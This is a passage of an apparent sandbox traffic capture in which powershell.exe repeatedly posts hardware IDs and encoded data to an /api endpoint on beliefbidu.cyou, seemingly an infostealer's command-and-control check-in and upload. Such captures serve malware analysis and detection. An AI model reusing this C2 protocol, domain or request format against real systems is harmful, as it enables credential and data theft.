2025-01-10 19:51:16 UTC	1369	IN	Data Raw: 6d 4d 57 42 61 56 36 56 6f 46 72 35 57 6f 39 6b 56 6b 55 78 70 4b 6f 42 34 43 37 47 78 2b 64 47 65 6e 45 46 5a 76 6c 66 73 51 66 4e 52 5a 50 70 51 49 64 30 47 33 77 62 6e 6d 6e 54 42 6d 50 71 34 42 67 69 59 35 53 54 35 74 4f 76 72 31 43 6d 2f 78 2b 78 48 51 37 58 31 72 2b 53 30 75 61 66 75 55 38 51 4f 6f 61 41 6f 6a 4e 2f 6e 4b 63 69 6c 74 59 69 6b 6a 38 32 68 72 52 39 43 36 62 57 6e 51 57 45 36 56 63 48 63 38 39 72 44 78 37 74 52 70 43 6d 4d 66 6c 45 73 7a 54 42 51 32 44 46 36 69 39 47 70 75 72 62 4e 49 4e 61 52 59 46 70 52 31 65 68 58 7a 6b 66 32 6d 6e 48 53 54 32 73 71 52 4b 6d 5a 4e 45 59 61 4a 65 71 2f 41 4b 7a 4f 4a 79 69 55 35 31 57 46 72 7a 47 68 50 58 59 61 49 6b 52 75 51 53 57 76 66 62 2f 6c 2f 66 33 42 56 71 6e 31 65 2f 2b 68 72 4b 76 68 6d 47 Data Ascii: mMWBaV6VoFr5Wo9kVkUxpKoB4C7Gx+dGenEFZvlfsQfNRZPpQId0G3wbnmnTBmPq4BgiY5ST5tOvr1Cm/x+xHQ7X1r+S0uafuU8QOoaAojN/nKciltYikj82hrR9C6bWnQWE6VcHc89rDx7tRpCmMflEszTBQ2DF6i9GpurbNINaRYFpR1ehXzkf2mnHST2sqRKmZNEYaJeq/AKzOJyiU51WFrzGhPXYaIkRuQSWvfb/l/f3BVqn1e/+hrKvhmG
2025-01-10 19:51:16 UTC	1006	IN	Data Raw: 33 33 47 67 58 58 4b 65 46 75 62 61 4a 5a 44 4d 76 53 67 48 6d 34 69 6c 4a 65 69 6b 6d 6d 38 6a 4c 6c 35 6a 32 53 51 33 78 41 54 4b 55 55 48 5a 67 75 75 6b 55 2f 37 42 6f 6c 68 74 57 6d 42 38 66 45 59 46 79 53 56 37 62 72 48 5a 62 55 4d 4a 74 4d 62 55 5a 4b 36 68 6f 54 31 32 69 69 4a 43 33 71 47 68 37 5a 31 65 59 58 7a 64 38 41 44 4d 73 4a 34 2b 4a 43 77 72 4d 6f 33 42 55 70 47 42 33 33 47 67 58 58 4b 65 46 75 62 61 4a 5a 44 4d 76 53 67 48 6d 34 69 6c 4a 65 69 6b 6d 6d 38 6b 50 31 78 52 2b 69 63 32 35 56 55 2b 74 64 53 34 59 75 72 44 78 77 35 41 49 6a 69 4e 33 2b 65 4e 48 45 54 52 2f 45 47 59 54 2b 41 74 58 30 4b 49 30 41 58 46 68 61 35 45 78 4e 67 47 47 74 55 6b 6d 46 47 6c 53 49 6b 2f 34 66 7a 63 6f 56 57 34 30 5a 36 61 31 65 67 4b 5a 74 79 78 30 70 53 Data Ascii: 33GgXXKeFubaJZDMvSgHm4ilJeikmm8jLl5j2SQ3xATKUUHZguukU/7BolhtWmB8fEYFySV7brHZbUMJtMbUZK6hoT12iiJC3qGh7Z1eYXzd8ADMsJ4+JCwrMo3BUpGB33GgXXKeFubaJZDMvSgHm4ilJeikmm8kP1xR+ic25VU+tdS4YurDxw5AIjiN3+eNHETR/EGYT+AtX0KI0AXFha5ExNgGGtUkmFGlSIk/4fzcoVW40Z6a1egKZtyx0pS
2025-01-10 19:51:16 UTC	1369	IN	Data Raw: 32 39 62 32 0d 0a 4e 72 59 61 74 49 74 75 31 4f 2f 66 41 6f 6e 77 30 31 46 6b 57 6c 41 68 32 32 5a 50 4a 78 63 4b 4d 61 56 49 69 52 2f 68 2f 66 6f 56 68 53 6d 56 65 32 76 79 33 52 34 7a 4f 54 53 6a 73 59 48 65 6b 61 42 64 64 76 36 47 78 79 71 31 31 57 7a 34 2b 35 42 39 48 45 57 78 2f 45 47 62 44 33 48 4e 62 38 4f 64 42 4c 64 56 67 64 2b 68 52 45 31 33 69 69 4a 43 7a 71 47 67 69 49 7a 66 34 41 6b 59 6c 55 58 4a 4a 61 6f 2b 38 4b 32 4f 55 39 32 33 4e 46 63 31 44 6f 58 31 4f 51 55 4e 78 64 64 62 52 58 46 63 2f 58 6e 6b 43 4a 68 32 74 68 71 30 69 32 37 55 37 39 38 43 69 66 44 54 55 57 52 61 55 43 48 62 5a 6b 38 6e 46 77 6f 78 67 36 7a 34 4f 39 42 39 48 45 55 52 2f 45 47 5a 54 77 41 64 37 39 4f 64 35 73 63 55 5a 51 36 6c 30 66 74 32 6e 30 66 7a 2f 71 47 68 61 Data Ascii: 29b2NrYatItu1O/fAonw01FkWlAh22ZPJxcKMaVIiR/h/foVhSmVe2vy3R4zOTSjsYHekaBddv6Gxyq11Wz4+5B9HEWx/EGbD3HNb8OdBLdVgd+hRE13iiJCzqGgiIzf4AkYlUXJJao+8K2OU923NFc1DoX1OQUNxddbRXFc/XnkCJh2thq0i27U798CifDTUWRaUCHbZk8nFwoxg6z4O9B9HEUR/EGZTwAd79Od5scUZQ6l0ft2n0fz/qGha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.17	49820	188.114.97.3	443	5932	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:51:17 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OGQ08SG5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 11903 Host: beliefbidu.cyou
2025-01-10 19:51:17 UTC	11903	OUT	Data Raw: 2d 2d 4f 47 51 30 38 53 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 46 30 30 33 42 31 35 42 39 36 36 37 30 38 34 38 39 37 30 31 35 32 46 44 41 37 32 44 33 0d 0a 2d 2d 4f 47 51 30 38 53 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 47 51 30 38 53 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 0d 0a 2d 2d 4f 47 51 30 38 53 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --OGQ08SG5Content-Disposition: form-data; name="hwid"652F003B15B96670848970152FDA72D3--OGQ08SG5Content-Disposition: form-data; name="pid"2--OGQ08SG5Content-Disposition: form-data; name="lid"jMw1IE--SHELLS--OGQ08SG5Content-Disposi
2025-01-10 19:51:18 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:51:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6me47765jdjqab53grbvth41sq; expires=Tue, 06 May 2025 13:37:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZPnhV75kb%2Bg86zK6J2RXlJQN8XWnWtnMIp0D8179w5w5TscF90Mao8o6zJQ4pL5MWn07HvTMNg2gEu7algFlxzYj8XDLheP7Mq92dAc0EpXZo%2Baf8VOR8fgMevWSebGBYnI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff336d4cdf0f7f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1486&rtt_var=573&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2836&recv_bytes=12832&delivery_rate=1883870&cwnd=243&unsent_bytes=0&cid=346d31b223c99dca&ts=944&x=0"
2025-01-10 19:51:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 19:51:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.17	49821	188.114.97.3	443	5932	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:51:18 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=40M3DMCQHNTYL4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15049 Host: beliefbidu.cyou
2025-01-10 19:51:18 UTC	15049	OUT	Data Raw: 2d 2d 34 30 4d 33 44 4d 43 51 48 4e 54 59 4c 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 46 30 30 33 42 31 35 42 39 36 36 37 30 38 34 38 39 37 30 31 35 32 46 44 41 37 32 44 33 0d 0a 2d 2d 34 30 4d 33 44 4d 43 51 48 4e 54 59 4c 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 30 4d 33 44 4d 43 51 48 4e 54 59 4c 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 0d 0a 2d 2d 34 30 4d 33 44 4d 43 Data Ascii: --40M3DMCQHNTYL4Content-Disposition: form-data; name="hwid"652F003B15B96670848970152FDA72D3--40M3DMCQHNTYL4Content-Disposition: form-data; name="pid"2--40M3DMCQHNTYL4Content-Disposition: form-data; name="lid"jMw1IE--SHELLS--40M3DMC
2025-01-10 19:51:20 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:51:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ik0l065a638qrslb3qhd7q7er9; expires=Tue, 06 May 2025 13:37:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nwMM2q%2BZRboLowmfNvu59dx%2Bw8ywfKuq4CCtio%2FuBiX837%2B3Nz%2FEFsFHqaWF%2Bjs4kaulpIrq3IALjV0eLVBrSWlhJECUpIIwMdc1KbXsUWB9eHx3jQInQvCOw3pCvnZYOck%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff337ccec2c340-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1719&min_rtt=1704&rtt_var=669&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2837&recv_bytes=15984&delivery_rate=1600877&cwnd=146&unsent_bytes=0&cid=f78e735db068cb1f&ts=1667&x=0"
2025-01-10 19:51:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 19:51:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.17	49822	188.114.97.3	443	5932	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:51:20 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KSCLO7KTVPL3PHF9B0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20414 Host: beliefbidu.cyou
2025-01-10 19:51:20 UTC	15331	OUT	Data Raw: 2d 2d 4b 53 43 4c 4f 37 4b 54 56 50 4c 33 50 48 46 39 42 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 46 30 30 33 42 31 35 42 39 36 36 37 30 38 34 38 39 37 30 31 35 32 46 44 41 37 32 44 33 0d 0a 2d 2d 4b 53 43 4c 4f 37 4b 54 56 50 4c 33 50 48 46 39 42 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 53 43 4c 4f 37 4b 54 56 50 4c 33 50 48 46 39 42 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c Data Ascii: --KSCLO7KTVPL3PHF9B0Content-Disposition: form-data; name="hwid"652F003B15B96670848970152FDA72D3--KSCLO7KTVPL3PHF9B0Content-Disposition: form-data; name="pid"3--KSCLO7KTVPL3PHF9B0Content-Disposition: form-data; name="lid"jMw1IE--SHELL
2025-01-10 19:51:20 UTC	5083	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 8e 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 43 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 38 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 45 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 e1 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 14 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `M?lrCQMn864E6(X&7~
2025-01-10 19:51:21 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:51:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aho2ksmjnl6q5bic0s90f78lrr; expires=Tue, 06 May 2025 13:38:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ZHqSdWQISwzkr7p5VcAzjeZ2PTaja3mv%2FO8OI%2BHnF5Scto0w7BPQ9laXJPZmbADHKns9D2oZeJEHn5A28R13pCoACcQ1GOdRvh3EtwRmIV2AkQUIb14uqmgaLy0zrwx2Fk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff3383e8c9efa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2101&min_rtt=2099&rtt_var=793&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21375&delivery_rate=1376060&cwnd=165&unsent_bytes=0&cid=9f2e2dd346d31334&ts=603&x=0"
2025-01-10 19:51:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 19:51:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.17	49823	188.114.97.3	443	5932	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:51:22 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IZ245UKPEP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1150 Host: beliefbidu.cyou
2025-01-10 19:51:22 UTC	1150	OUT	Data Raw: 2d 2d 49 5a 32 34 35 55 4b 50 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 46 30 30 33 42 31 35 42 39 36 36 37 30 38 34 38 39 37 30 31 35 32 46 44 41 37 32 44 33 0d 0a 2d 2d 49 5a 32 34 35 55 4b 50 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 5a 32 34 35 55 4b 50 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 0d 0a 2d 2d 49 5a 32 34 35 55 4b 50 45 50 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --IZ245UKPEPContent-Disposition: form-data; name="hwid"652F003B15B96670848970152FDA72D3--IZ245UKPEPContent-Disposition: form-data; name="pid"1--IZ245UKPEPContent-Disposition: form-data; name="lid"jMw1IE--SHELLS--IZ245UKPEPContent
2025-01-10 19:51:22 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:51:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rnqp7mdcishef6jddi1e7ksl35; expires=Tue, 06 May 2025 13:38:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CBBeHf9PqYFiBFSCQ1keZ6%2BQTFDU7zcCY3xIGOf5oSoibeddcyfqQfH%2BkG7NhMcEsOHE59rm%2BRdPUoAf2zm%2FCmKzUkmOK2PDrczCm75lqd9gejIan0lwZ69eLsyiyWazqQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff338b9890c434-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1503&min_rtt=1498&rtt_var=565&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2058&delivery_rate=1949265&cwnd=196&unsent_bytes=0&cid=ca8a3d1fdfcdf84e&ts=484&x=0"
2025-01-10 19:51:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 19:51:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.17	49824	188.114.97.3	443	5932	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:51:23 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1VQIMV784XIYAX0QWP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1374 Host: beliefbidu.cyou
2025-01-10 19:51:23 UTC	1374	OUT	Data Raw: 2d 2d 31 56 51 49 4d 56 37 38 34 58 49 59 41 58 30 51 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 46 30 30 33 42 31 35 42 39 36 36 37 30 38 34 38 39 37 30 31 35 32 46 44 41 37 32 44 33 0d 0a 2d 2d 31 56 51 49 4d 56 37 38 34 58 49 59 41 58 30 51 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 56 51 49 4d 56 37 38 34 58 49 59 41 58 30 51 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c Data Ascii: --1VQIMV784XIYAX0QWPContent-Disposition: form-data; name="hwid"652F003B15B96670848970152FDA72D3--1VQIMV784XIYAX0QWPContent-Disposition: form-data; name="pid"1--1VQIMV784XIYAX0QWPContent-Disposition: form-data; name="lid"jMw1IE--SHELL
2025-01-10 19:51:23 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:51:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tcfl4h9kcatbbptpagikd1v13i; expires=Tue, 06 May 2025 13:38:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sy3pjZ8HyBstiWPbc%2FWMflIm%2Bydf%2B35DgouoyqqjOK%2FgCGAxd5fgEB%2FoVPfNi7yz%2BFZ0AlHkheJuHbJ1gnkmFb2Vd0%2BCb4M%2BabO%2BbcL02Kk0mC0KhcP2TkeVoU%2F2y0kY2Fw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff3391dfe67ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1906&min_rtt=1871&rtt_var=726&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2290&delivery_rate=1560662&cwnd=239&unsent_bytes=0&cid=31de69b9f725fe1d&ts=571&x=0"
2025-01-10 19:51:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 19:51:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.17	49825	188.114.97.3	443	5932	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:51:24 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 115 Host: beliefbidu.cyou
2025-01-10 19:51:24 UTC	115	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 26 68 77 69 64 3d 36 35 32 46 30 30 33 42 31 35 42 39 36 36 37 30 38 34 38 39 37 30 31 35 32 46 44 41 37 32 44 33 Data Ascii: act=get_message&ver=4.0&lid=jMw1IE--SHELLS&j=aa77e78b6b0dd1b2226e7b799532ab3a&hwid=652F003B15B96670848970152FDA72D3
2025-01-10 19:51:24 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:51:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h34av1k7vau5g9l9js84djlmdj; expires=Tue, 06 May 2025 13:38:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TGltERbymwWUSWnS72cja%2FXNIyJUVoQ8VOskfHlKb%2FW7uJZ4nEj%2Bv2RN0cg1pj1GGexMyxwB4L1698nj3KBSmFr46YgM6Yd3c2tHYhKteIFVelNiOQeBm%2FV%2BIVhvBdaMWu4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff33985ac4de96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1471&min_rtt=1467&rtt_var=559&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1015&delivery_rate=1942781&cwnd=227&unsent_bytes=0&cid=5f8fa42f5aa7dc99&ts=344&x=0"
2025-01-10 19:51:24 UTC	218	IN	Data Raw: 64 34 0d 0a 36 4a 38 49 65 4a 67 51 55 4a 4b 50 54 53 66 69 4c 36 47 31 51 4d 41 66 38 34 6d 71 46 6d 65 7a 6b 33 71 4f 37 30 78 49 6b 4c 79 7a 35 43 6f 4e 75 69 70 79 2b 76 73 35 56 35 45 56 2f 5a 6f 63 37 33 79 57 37 74 38 34 46 4e 76 38 43 74 4c 41 64 48 32 6e 69 4e 71 70 4f 6b 79 73 4a 67 79 39 2f 79 55 4a 6c 6c 66 56 6c 32 7a 69 65 59 65 72 6b 43 52 4c 6b 66 5a 59 74 4e 34 78 5a 4f 75 65 6e 62 30 79 57 76 42 6b 4a 4f 4c 38 64 33 76 4e 63 34 37 65 4c 4b 6c 76 6c 4f 62 45 59 77 2b 64 34 42 4c 68 6e 78 42 6e 2b 64 4b 63 77 47 73 55 36 45 38 6a 2b 75 35 6a 55 35 70 62 67 35 6c 69 70 6d 76 52 73 35 6f 36 52 64 61 78 51 4c 36 53 45 51 3d 3d 0d 0a Data Ascii: d46J8IeJgQUJKPTSfiL6G1QMAf84mqFmezk3qO70xIkLyz5CoNuipy+vs5V5EV/Zoc73yW7t84FNv8CtLAdH2niNqpOkysJgy9/yUJllfVl2zieYerkCRLkfZYtN4xZOuenb0yWvBkJOL8d3vNc47eLKlvlObEYw+d4BLhnxBn+dKcwGsU6E8j+u5jU5pbg5lipmvRs5o6RdaxQL6SEQ==
